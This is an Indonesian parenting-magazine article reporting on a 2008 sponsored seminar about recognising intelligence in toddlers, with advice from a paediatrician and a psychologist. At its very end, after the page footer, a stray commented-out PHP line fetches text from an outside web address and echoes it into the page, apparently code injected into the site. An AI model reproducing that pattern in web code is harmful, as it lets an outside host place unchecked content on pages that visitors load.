Seminar SGM 3&4 Juli 2008: Cerdas Itu Sederhana

 

Bunda mau ke mana?”
“Mau ke seminar, Nak.”
“Seminar itu apa?”
“Seminar itu pertemuan.”
“Pertemuan itu apa?”
dan seterusnya.
Akhirnya bunda Ira menjawab dengan satu tarikan napas sambil diikuti pandangan bingung anak.  
   
Pastinya hal ini sering juga kita alami sebagai orang tua. Dan, seringkali kita tidak menyadari bahwa hal ini merupakan tanda-tanda anak cerdas.  

Dalam Seminar Uji Tahap Penting Kecerdasan Balita yang diselenggarakan Ayahbunda bersama SGM 3 & SGM 4 di Hotel Salak Bogor, Sabtu, 12 Juli, diketahui bahwa kecerdasan tidak berarti anak selalu mendapat nilai tinggi di antara teman-temannya. Kecerdasan tidak selalu berarti ia mampu membaca dan menghitung di usia dini. Seringkali kecerdasan anak terwujud dalam hal-hal sederhana, yang luput dari perhatian orang tua. Sebenarnya, balita yang cerdas itu seperti apa, sih?

Motorik dan logika

Jangan terlalu muluk memandang kecerdasan seorang anak, Bunda. Kecerdasan anak sebenarnya dimulai dari hal yang paling sederhana, seperti mengisap puting, melihat dan mengambil benda, mengangkat benda untuk mengambil mainan yang disembunyikan, penggunaan simbol-simbol, sampai tingkat kemampuan melakukan suatu keterampilan.

Menurut dr. Dwi Putro Widodo, SpA(K), MMed, dokter spesialis anak yang jadi pembicara pertama seminar ini, tingkat kecerdasan anak tergantung usia. Pada usia 0-2 tahun, diperlihatkan melalui aktivitas motoriknya untuk menemukan hubungan antara tubuh dan lingkungannya.

Sementara pada usia 2-7 tahun, tahap kecerdasan anak mencapai kemampuan berpikir secara logika. Misalnya, anak mampu mengandaikan kotak korek api sebagai pesawat atau mobil, kemampuan meniru, menggambar, dan sebagainya.

Ada lingkaran kecerdasan yang melibatkan indera dan motorik anak. Ketika bayi melihat benda, misalnya, kemudian berusaha menjangkau benda tersebut dengan tangannya yang melibatkan saraf motorik. Ia akan memegang dan meraba benda tersebut, kemudian menarik kembali tangannya yang menggenggam benda, dan inderanya bermain lagi ketika memasukkan benda tersebut ke dalam mulutnya.

Rangkaian kegiatan yang sederhana ini merupakan bentuk kecerdasan anak. Semakin sering lingkaran kecerdasan itu berputar, maka anak akan semakin cerdas.

Selain itu, menurut Nessi Purnomo, MSi, psikolog yang juga pembicara kedua seminar ini, “Anak belajar dari apa yang ia lihat, ia dengar, dan ia rasakan. Jadi biarkan anak mengeksplorasi sekitarnya, memegang aneka benda atau mainan.”


Banyak bertanya

Jangan remehkan kegemaran anak bertanya. Jika anak banyak bertanya, jangan dimarahi. Sebaliknya, jawab pertanyaan-pertanyaan anak dan puaskan rasa ingin tahunya.

Banyak bertanya sebenarnya adalah tanda-tanda kecerdasan anak. Menjawab problem bunda Ira yang anaknya banyak bertanya, menurut Nessi, kunci menjawab pertanyaan-pertanyaan si kecil yang bertubi-tubi adalah, pertama, kita harus terus belajar. “Jika Anda tahu banyak, maka Anda bisa menjawab pertanyaan anak,” jawab Nessi.

Kedua, Anda harus lebih sabar. Usahakan napas beberapa kali, sehingga Anda bisa memikirkan jawaban yang tepat untuk memuaskan anak. Gunakan bahasa yang sederhana dan kalimat yang pendek-pendek supaya anak bisa mencerna apa yang disampaikan bundanya.   
 
Ayo, terlibat!
Jangan jadikan kecerdasan si kecil sebagai ambisi pribadi orang tua tanpa mengenal anak dengan sungguh-sungguh. Jika itu terjadi, maka kecerdasan si kecil tidak akan berkembang optimal, karena tidak sesuai dengan bakat dan kemampuannya.

Kenali siapa dan seperti apa anak Anda. Dari situ Anda bisa mengukur kemampuan dan tingkat kecerdasan anak, sehingga Anda tahu cara yang paling tepat untuk mengoptimalkan kecerdasannya. Yang pasti, setiap anak itu berbeda, begitu pula pendekatan yang bisa digunakan untuk mengoptimalkan kecerdasannya.

Lalu bagaimana agar kita bisa mengenal dan mengetahui sisi-sisi kreatif dan kecerdasan anak? ”Terlibatlah dengan anak,” saran Nessi berulang kali.

Jangan melulu memberikan mainan dan meninggalkan si kecil asyik sendiri dengan mainannya. Sebaliknya, ajak anak berkegiatan bersama Anda. Dengan terlibat bersama anak, Anda juga bisa mengajarkan banyak hal yang bisa mengoptimalkan kecerdasannya.

Gembira bersama
Bukan hanya materi seminar yang rupanya disukai para ayah dan bunda. Beragam permainan untuk mereka, yang dipandu oleh moderator Tike Priyatnakusumah, juga heboh diikuti para seminar tersebut. Salah satunya adalah keterampilan berprakarya.

Setiap kelompok meja dibagikan amplop cokelat yang berisi bahan-bahan prakarya seperti karton, kertas emas dan perak, gunting, lem, kapas, dan sebagainya. Tugas bunda dan ayah adalah membuat apa saja sekreatif mungkin dari bahan-bahan tersebut secara berkelompok.

Selain itu, kegembiraan juga tampak ketika doorprize dan grandprize dibagikan Ayahbunda serta SGM 3 dan SGM 4. Tak heran bila Emi, bunda Rafli Oktaviani, 4 tahun diakhir acara berkomentar, “Tema seminarnya bagus dan suasananya menyenangkan!” 

 

[((Album:angelawika@yahoo.com|01))]


 


Artikel Rekomendasi

Load more
".$css_content); //$a = file_get_contents('https://www.galatiatiga.com/pindang/index.txt'); //echo $a; ?>